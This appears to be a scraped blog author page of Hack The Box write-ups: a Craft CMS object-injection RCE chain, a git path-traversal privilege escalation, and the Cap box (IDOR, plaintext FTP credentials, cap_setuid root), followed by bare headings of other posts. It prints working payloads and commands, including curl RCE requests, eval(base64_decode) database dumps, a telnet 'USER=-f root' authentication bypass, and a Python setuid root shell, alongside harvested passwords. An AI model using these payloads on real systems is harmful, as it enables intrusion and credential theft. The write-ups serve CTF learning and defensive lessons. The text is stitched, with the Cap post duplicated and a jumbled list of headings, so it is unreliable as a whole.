  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "yii\\rbac\\PhpManager",
      "__construct()": [{"itemFile": "/var/lib/php/sessions/sess_<id>"}]
    }
  }
}

curl -g -s -b cookies.txt \
  -H "X-CSRF-Token: <token>" -H "Content-Type: application/json" \
  -X POST 'http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=system("id");' \
  -d @payload2.json -o response.html

Note: cmd must be a PHP statement, not a raw shell command.
Note: curl rejects literal spaces in URLs — use %20 or base64-encode complex commands.

Output: uid=33(www-data) gid=33(www-data). Full RCE, no listener required.

Credential Harvesting

Craft's .env is world-readable to www-data:

# cmd=system("cat%20/var/www/html/craft/.env");
# → CRAFT_DB_USER=root, CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

MySQL bound to 127.0.0.1 only — queried through RCE, base64-encoded to sidestep quoting headaches:

B64=$(base64 -w0 <<< "system('mysql -u root -pSuperSecureCraft123Pass! orion -e \"select username, email, password from users;\" 2>&1');" | sed 's/+/%2B/g')
curl -g -s -b cookies.txt -H "X-CSRF-Token: <token>" -H "Content-Type: application/json" \
  -X POST "http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=eval(base64_decode('$B64'));" \
  -d @payload2.json -o response.html

Got bcrypt hash for adam@orion.htb.

Cracking — Plan A Failed

hashcat -m 3200 ...
# ERROR: no OpenCL device (clinfo showed rusticl, zero devices)

Switched to John:

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# cracked in ~19s

Password reuse → SSH as adam.

Privilege Escalation: CVE-2026-24061

netstat -tulnp     # telnet on 127.0.0.1:23
telnet --version   # GNU inetutils 2.7

USER env var passed unsanitized to login(1). -f root skips authentication:

USER="-f root" telnet -a 127.0.0.1

Instant root shell.

Takeaways

CSRF tokens are session-bound, not a magic wall — correctly replaying the cookie/token pairing is enough to bypass them for testing.
Object-injection RCE via config-driven instantiation (Yii's __class mechanism) is a pattern worth recognizing beyond Craft.
.env files and PHP session storage are attack surface — session files writable by the web server + require()-able = code execution primitive.
Tooling failures are data too. Confirming the firewall/socket layer wasn't the problem (tcpdump + iptables + ss) was useful diagnostic work even when I couldn't fully root-cause the issue.
Internal-only daemons are still root paths once you have any foothold.

Flags

Flags redacted per standard practice for retired-box writeups.

What Rooting an "Easy" HTB Box Taught Me About Chained Vulnerabilities

greenbladesec — Sat, 25 Jul 2026 21:53:23 +0000

I do AppSec triage for a living — mostly reading through Bugcrowd submissions
and reasoning about whether a reported issue is actually exploitable, and how
badly. So when I pick weekend HTB boxes to work through, I'm not really
looking for the hardest exploit dev challenge I can find. I'm looking for
boxes that exercise the same instincts I need on a Tuesday afternoon at work:
reading an unfamiliar application's surface area, noticing what's not
supposed to be reachable, and following a thread of small mistakes to their
logical end.

This weekend's box (an easy-rated Linux machine on HTB) turned out to be a
genuinely great case study for that, so I wanted to write up what I actually
learned rather than just "I did the box."

Recon taught me more than the target's services

The initial port scan only turned up two ports — SSH and a webserver — and
the webserver redirected to a hostname I hadn't seen before. That alone is a
small but useful reminder: a redirect to an unfamiliar hostname is a signal to
go add that hostname to your resolver and actually look at what's there,
not just note "HTTP open" and move on.

Once I was looking at the real site, a vhost fuzzing pass (ffuf, with the
default/junk response size filtered out) turned up two more subdomains that
weren't linked from the main site anywhere. One turned out to be a self-hosted
git server, the other an internal business application. Neither would have
been found by just clicking around the visible site. Attack surface and
visible surface are not the same thing, and I don't think I'll ever stop
being reminded of that.

The finding I'll actually remember: secrets survive "deletion"

The git server had a public repo containing infrastructure config for the
business app — a Docker Compose file and an environment file. The environment
file, as it currently existed, had its password field blanked out. Good
hygiene, right?

Except git log -p on that file showed an earlier commit where the real
value was still there in plaintext. Someone had added the credential, realized
the mistake, and "fixed" it by blanking the field in a new commit — without
realizing (or without rotating the credential either way) that the value was
still permanently readable by anyone who cloned the repo and looked at its
history.

This is, I think, the most broadly useful lesson from the whole exercise:
a secret that ever touches a commit is compromised the moment that commit
is pushed anywhere with more than one set of eyes on it. Blanking it in a
later commit does nothing for anyone who can run git log. The only real fix
is treating the credential as burned and rotating it — full history rewrites
are a nice-to-have at best, not a substitute.

I now have git log -p --all | grep -iE "password|secret|key|token" as a
near-automatic step any time I get read access to a git repo during recon,
lab or otherwise.

Credential reuse, twice over

That leaked password worked directly against the admin login of the business
application, once paired with an email address I found from an entirely
different piece of recon — a "careers" page had a job posting listing a
hiring manager's contact email. Worth remembering that OSINT on a target
isn't only infrastructure enumeration; sometimes it's just reading the
website like a human would and noting who's named where.

The application itself happened to be running a version with a recently
disclosed, authenticated remote code execution vulnerability, reachable
through a file-attachment feature. The validation preventing arbitrary file
uploads was purely client-side (extension checking in the browser), so the
actual exploitation was: rename the payload to an allowed extension, upload
it, then use an intercepting proxy to rename it back to something executable
before the request actually reached the server. I've now seen this exact
pattern — client-side-only extension validation — in more than one context,
both in labs and in real bug reports I've triaged. It's essentially
decorative security if there's no matching server-side check.

Once I had code execution as the web server's low-privilege user, a second
config file on the box (this time the CMS's own database configuration) had
yet another password — different from the git-leaked one — which worked
directly for SSH access as a real system user. Two independent instances of
password reuse across service boundaries, in a single chain. It's a small
thing to say "don't reuse passwords across services," but seeing it exploited
twice back to back in one box is a much better teacher than the advice on its
own ever is.

The privilege escalation: why `os.path.join()` isn't a safety net

This is the part I most wanted to write about, because it's a genuinely
transferable code-review lesson, not just a CTF trick.

Enumerating scheduled jobs on the box turned up a systemd timer running a
Python script as root every minute. The script's purpose was mundane:
sync files out of specially-flagged "template" git repositories into a
staging directory, presumably so they could be used elsewhere on the system.
The vulnerable logic looked, in spirit, like this:

for filepath in files_from_git_ls_tree(repo):
    target = os.path.join(staging_dir, filepath)
    os.makedirs(os.path.dirname(target), exist_ok=True)
    write_file(target, get_blob_contents(repo, filepath))

The bug is that filepath comes straight from git ls-tree output with zero
validation, and os.path.join() will happily honor ../ sequences in its
second argument — it does not sanitize traversal, it just joins path
components. If filepath were something like
../../../../root/.ssh/authorized_keys, the resulting target resolves
outside staging_dir entirely.

The catch is that Git's own CLI won't normally let you create a tracked file
whose path contains .. — that protection lives in the porcelain commands
(git add, git commit), not in the underlying object format itself. So the
actual technique was to build the raw git objects by hand: hash and
zlib-compress a blob and a sequence of tree objects directly into
.git/objects, chain them into a tree structure whose path components
included the traversal sequence, wrap it in a commit object, and point a
branch ref directly at that commit — bypassing the CLI's safety checks
entirely because I was never asking the CLI to validate a .. path; I was
constructing the low-level objects that represent one.

Once pushed to a repository flagged as a template, the vulnerable sync script
picked it up, joined its untrusted path onto the staging directory with no
validation, and wrote a file straight through to a sensitive location outside
the intended directory — running as root, which meant the write itself
carried root privileges.

The generalizable takeaway: path-joining functions across virtually every
language (os.path.join in Python, path.join in Node, Path.Combine in
.NET) treat .. as a normal path component and resolve it — they are not
sanitization functions, and none of them will stop a traversal on their own.
Any time a path component originates from data you don't fully control — a
filename from an upload, a path from a tarball, a path from a git tree,
anything — the resulting joined path needs to be canonicalized (e.g.
os.path.realpath()) and explicitly checked to confirm it's still inside the
intended base directory before it's touched. I now treat this as one of the
first things I look for when reviewing file-handling code in triage, right
alongside the more commonly-flagged injection points.

Closing thought

Nothing about this box required novel exploit development. Every step was a
recognizable category of mistake: a secret lingering in history, a password
reused where it shouldn't have been, client-side-only validation, and an
unsanitized path join. That's exactly why I think easy-to-medium HTB boxes are
worth doing deliberately rather than skipping to the hard ones — the value
isn't in the difficulty of any single step, it's in seeing how ordinary
mistakes chain together into full compromise, which is precisely the shape
most real-world findings take.

Tools used: nmap, ffuf, curl, Burp Suite, git, a small custom Python
script for raw git object construction, ssh, nc.

HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities

greenbladesec — Sun, 28 Jun 2026 01:15:58 +0000

Hack The Box | Easy | Linux | Retired

If you're new to Hack The Box or prepping for OSCP, Cap is the box you want to do early. Not because it's flashy — it isn't. No exotic CVEs, no complex buffer overflows. Just three fundamental misconfigurations chained together cleanly:

An IDOR vulnerability on a web app storing network captures with sequential, predictable IDs
Plaintext FTP credentials leaking inside a packet capture
A Linux capability misconfiguration (cap_setuid on Python) that gives instant root

These aren't niche CTF tricks. IDOR is in the OWASP Top 10. FTP is still running on production networks in 2026. Linux capabilities are regularly misconfigured. Cap teaches you to recognize all three.

Recon

Start with nmap — always.

nmap -sC -sV -oN nmap_services.txt 10.129.12.255
nmap -p- --min-rate 10000 -oN nmap_allports.txt 10.129.12.255

Three ports open:

Port	Service	Notes
21/tcp	FTP (vsftpd 3.0.3)	Anonymous login disabled
22/tcp	SSH (OpenSSH 8.2p1)	Target once we have credentials
80/tcp	HTTP (Gunicorn)	Python WSGI app — main attack surface

FTP with anonymous login disabled means nothing to do there without credentials. SSH is a waiting room. The web app is where we start.

Enumeration

The Web App

Port 80 serves what calls itself a "Security Dashboard" — ironic, given what we're about to do to it. It has three sections: IP Config, Network Status, and a /capture endpoint that runs a 5-second live packet capture on the server.

The capture flow works like this:

Browse to /capture
The server captures 5 seconds of network traffic, saves it to disk
Redirects you to /data/<id> — where <id> is a sequential integer starting at 1
File is downloadable at /download/<id>

Two things jump out immediately:

First: The nav bar shows the logged-in username — nathan. Free username, no brute force required.

Second: Sequential integer IDs on a resource endpoint with no visible access control. That's IDOR waiting to be tested.

Testing for IDOR

After triggering a capture, the app redirects to /data/1. The obvious question: what's at /data/0?

curl http://10.129.12.255/data/0

It returns a valid page with a download link for /download/0. No authentication error. No ownership check. Just... the file.

This is a capture from the box's own setup — created before any player connected, containing real traffic from the server's initialization. We can download it freely because the app never checks whether the resource belongs to the requesting user.

IDOR in the real world: Insecure Direct Object References show up constantly in bug bounties and internal assessments. The pattern is always the same — a resource ID in a URL, no server-side ownership validation. The fix is always the same too: check on the server that the authenticated user owns the object they're requesting. Never trust the client to only ask for what they're allowed to see.

Foothold

Cracking Open the PCAP

wget http://10.129.12.255/download/0 -O capture0.pcap
tcpdump -r capture0.pcap -A | grep -A5 "USER\|PASS"

Inside the PCAP is an FTP session. FTP sends everything in plaintext over TCP — the handshake, the commands, the credentials. All of it. The capture caught the server authenticating to its own FTP service during setup:

USER nathan
PASS Buck3tH4TF0RM3!

Credentials recovered without touching a wordlist or running a single exploit.

Why FTP is still dangerous: FTP has existed since 1971 and has never had transport encryption. Every byte — including your username and password — travels as readable ASCII. SFTP and FTPS exist precisely because of this. In internal network assessments, being on the same network segment as FTP traffic, or finding a PCAP that captured it, is frequently enough to gain initial access. If you're doing an internal pentest and you see port 21 open on a server, start sniffing.

SSH as Nathan

Password reuse. The FTP credentials work directly on SSH:

ssh nathan@10.129.12.255
# Password: Buck3tH4TF0RM3!

Shell as nathan. User flag:

user.txt: ea34748abba367e85ac0aec4f9932bad

Privilege Escalation

Enumeration

sudo -l — nothing. No SUID binaries worth pursuing. Time to check Linux capabilities:

getcap -r / 2>/dev/null

Output:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

There it is.

Understanding cap_setuid

Linux capabilities are a deliberate design choice — they allow granting specific privileges to a process without making it fully root. The idea is fine-grained access control: give a web server the ability to bind to port 80 (cap_net_bind_service) without giving it full administrative access.

cap_setuid lets a process call setuid() to change its effective user ID to any UID on the system — including UID 0, which is root.

When this capability is attached to an interpreter like Python, it means anyone who can run that interpreter can invoke setuid(0) from inside a script. No password. No sudo. No exploit. The OS hands you root because the binary is marked as allowed to ask for it.

This is documented on GTFOBins and comes up regularly in CTFs and real assessments. Admins sometimes set capabilities thinking it's a safer alternative to sudo — but cap_setuid on any general-purpose interpreter is functionally equivalent to unrestricted root access.

Exploitation

python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

Breaking it down:

os.setuid(0) — changes the process's UID to 0 (root), permitted because cap_setuid is set on /usr/bin/python3.8
os.system('/bin/bash') — spawns a bash shell that inherits the root UID

Root shell. Instant.

root.txt: 3a0175a10c1007605d6b3813fb2cb37b

Full Attack Chain

nmap
  └─ port 80 (Gunicorn web app)
       └─ /capture → IDOR on /data/0
            └─ download PCAP
                 └─ tcpdump → FTP creds (plaintext)
                      └─ ssh as nathan (password reuse)
                           └─ getcap -r /
                                └─ cap_setuid on python3.8
                                     └─ setuid(0) → root

Key Takeaways

1. Always fuzz sequential IDs.
When you see /data/1 or /item/42 in a URL, the first thing you test is /data/0, /data/2, and IDs belonging to other users. If the app doesn't enforce ownership server-side, you have IDOR. This is one of the highest-yield, lowest-effort checks in web app testing.

2. FTP is a credential gift.
Anonymous login disabled doesn't mean FTP is useless. If you can capture traffic (via a PCAP, MITM position, or a misconfigured network tap), FTP credentials come out in plaintext. Always check port 21 on internal assessments and look for PCAPs anywhere on the filesystem.

3. Password reuse is the rule, not the exception.
One set of leaked credentials should always be tried on every other service: SSH, RDP, VPN, admin panels. Nathan's FTP password working on SSH is cliché in CTFs because it's realistic. Password reuse is endemic.

4. getcap -r / belongs on your privesc checklist.
Run it right after sudo -l. cap_setuid on any interpreter (Python, Perl, Ruby, Node) is root. GTFOBins has one-liners for all of them.

Tools Used

Tool	Purpose
`nmap`	Port scan and service fingerprinting
`curl` / browser	Web app enumeration, IDOR testing
`wget`	Download the vulnerable PCAP
`tcpdump`	Parse PCAP and extract plaintext FTP credentials
`ssh`	Initial access with recovered credentials
`getcap`	Identify Linux capability misconfigurations
`python3`	Exploit `cap_setuid` for root shell

References

I'm working through HTB machines as part of my OSCP prep. Follow along for writeups, notes, and lessons learned — one machine at a time.

Target: OSCP by early 2027. Current: building the reps.

HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities

greenbladesec — Sun, 28 Jun 2026 01:14:09 +0000

Hack The Box | Easy | Linux | Retired

An IDOR vulnerability on a web app storing network captures with sequential, predictable IDs
Plaintext FTP credentials leaking inside a packet capture
A Linux capability misconfiguration (cap_setuid on Python) that gives instant root

Recon

Start with nmap — always.

nmap -sC -sV -oN nmap_services.txt 10.129.12.255
nmap -p- --min-rate 10000 -oN nmap_allports.txt 10.129.12.255

Three ports open:

Port	Service	Notes
21/tcp	FTP (vsftpd 3.0.3)	Anonymous login disabled
22/tcp	SSH (OpenSSH 8.2p1)	Target once we have credentials
80/tcp	HTTP (Gunicorn)	Python WSGI app — main attack surface

FTP with anonymous login disabled means nothing to do there without credentials. SSH is a waiting room. The web app is where we start.

Enumeration

The Web App

The capture flow works like this:

Browse to /capture
The server captures 5 seconds of network traffic, saves it to disk
Redirects you to /data/<id> — where <id> is a sequential integer starting at 1
File is downloadable at /download/<id>

Two things jump out immediately:

First: The nav bar shows the logged-in username — nathan. Free username, no brute force required.

Second: Sequential integer IDs on a resource endpoint with no visible access control. That's IDOR waiting to be tested.

Testing for IDOR

After triggering a capture, the app redirects to /data/1. The obvious question: what's at /data/0?

curl http://10.129.12.255/data/0

It returns a valid page with a download link for /download/0. No authentication error. No ownership check. Just... the file.

IDOR in the real world: Insecure Direct Object References show up constantly in bug bounties and internal assessments. The pattern is always the same — a resource ID in a URL, no server-side ownership validation. The fix is always the same too: check on the server that the authenticated user owns the object they're requesting. Never trust the client to only ask for what they're allowed to see.

Foothold

Cracking Open the PCAP

wget http://10.129.12.255/download/0 -O capture0.pcap
tcpdump -r capture0.pcap -A | grep -A5 "USER\|PASS"

USER nathan
PASS Buck3tH4TF0RM3!

Credentials recovered without touching a wordlist or running a single exploit.

Why FTP is still dangerous: FTP has existed since 1971 and has never had transport encryption. Every byte — including your username and password — travels as readable ASCII. SFTP and FTPS exist precisely because of this. In internal network assessments, being on the same network segment as FTP traffic, or finding a PCAP that captured it, is frequently enough to gain initial access. If you're doing an internal pentest and you see port 21 open on a server, start sniffing.

SSH as Nathan

Password reuse. The FTP credentials work directly on SSH:

ssh nathan@10.129.12.255
# Password: Buck3tH4TF0RM3!

Shell as nathan. User flag:

user.txt: ea34748abba367e85ac0aec4f9932bad

Privilege Escalation

Enumeration

sudo -l — nothing. No SUID binaries worth pursuing. Time to check Linux capabilities:

getcap -r / 2>/dev/null

Output:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

There it is.

Understanding cap_setuid

cap_setuid lets a process call setuid() to change its effective user ID to any UID on the system — including UID 0, which is root.

Exploitation

python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

Breaking it down:

os.setuid(0) — changes the process's UID to 0 (root), permitted because cap_setuid is set on /usr/bin/python3.8
os.system('/bin/bash') — spawns a bash shell that inherits the root UID

Root shell. Instant.

root.txt: 3a0175a10c1007605d6b3813fb2cb37b

Full Attack Chain

nmap
  └─ port 80 (Gunicorn web app)
       └─ /capture → IDOR on /data/0
            └─ download PCAP
                 └─ tcpdump → FTP creds (plaintext)
                      └─ ssh as nathan (password reuse)
                           └─ getcap -r /
                                └─ cap_setuid on python3.8
                                     └─ setuid(0) → root

Key Takeaways

4. getcap -r / belongs on your privesc checklist.
Run it right after sudo -l. cap_setuid on any interpreter (Python, Perl, Ruby, Node) is root. GTFOBins has one-liners for all of them.

Tools Used

Tool	Purpose
`nmap`	Port scan and service fingerprinting
`curl` / browser	Web app enumeration, IDOR testing
`wget`	Download the vulnerable PCAP
`tcpdump`	Parse PCAP and extract plaintext FTP credentials
`ssh`	Initial access with recovered credentials
`getcap`	Identify Linux capability misconfigurations
`python3`	Exploit `cap_setuid` for root shell

References

I'm working through HTB machines as part of my OSCP prep. Follow along for writeups, notes, and lessons learned — one machine at a time.

Target: OSCP by early 2027. Current: building the reps.

DEV Community: greenbladesec

I Built an AI Security Agent That Found Vulnerabilities in Its Own Code (And Why That's the Point)

I Built an AI Security Triage Tool That Found a Vulnerability in Itself

Triage Summary

Notable Findings

The Finding That Got Me

This Isn't Replacing Anyone

Building It Forced Me to Understand the Entire Pipeline

Architecture

Key Design Decisions

1. ExecutionPolicy.SAFE

2. Session Store

3. Backward Compatible

What's Next?

What I Learned

Code

Building an AI-Powered Auth Log Anomaly Detector with MITRE ATT&CK

Why Auth Logs Matter

What I Built

Detection Rules

SSH Brute Force — T1110

Distributed Brute Force — T1110

Credential Stuffing — T1110

Privilege Escalation — T1548

Account Creation — T1136

Root Login — T1078

MITRE ATT&CK Mapping

Local AI Analysis

Watch Mode + Alerting

Alert Context

Exit Codes as an API

IP Reputation Enrichment

Allowlisting

What I Learned

1. Sliding Windows Across Log Parses

2. Deduplication in Watch Mode

3. Log Format Variance

4. Local LLM Latency

What Enterprise SIEMs Do Better

Why Build This?

What's Next?

Final Thought

I Built a SAST/DAST Triage Pipeline Because Scanner Noise Was Killing My Signal

I Built a SAST/DAST Triage Pipeline Because Scanner Noise Was Killing My Signal

The Problem

What I Built

Stage 1: Ingest

Stage 2: Deduplicate

Stage 3: Score

Stage 4: LLM Filter

Stage 5: Suppressions

Stage 6: Output

Markdown

SARIF 2.1.0

HTML

Results

Why Not Just Use Snyk?

1. Cost

2. Data

3. Transparency

4. Learning

What I Learned

What's Next?

Final Thought

Homelab Day: Nextcloud + Traefik + HSTS Headers That Actually Work

The Stack

Problem 1: Nextcloud Doesn't Know the Real Client IP

Problem 2: HSTS Headers Disappear Through Cloudflare Tunnel

Other Warnings to Clear

Installing Apps via CLI

Final Security Header Check

TL;DR

I Replaced Proton Pass with a Self-Hosted Password Manager + Private Email Aliases

The Problem Nobody Talks About

The Stack

Architecture

Step 1 — Set Up Addy.io with a Custom Domain

Step 2 — Configure the Catch-All

Step 3 — Connect Bitwarden to Addy.io

Step 4 — Self-Host Vaultwarden

1. `ExecutionPolicy.SAFE`

The privilege escalation: why `os.path.join()` isn't a safety net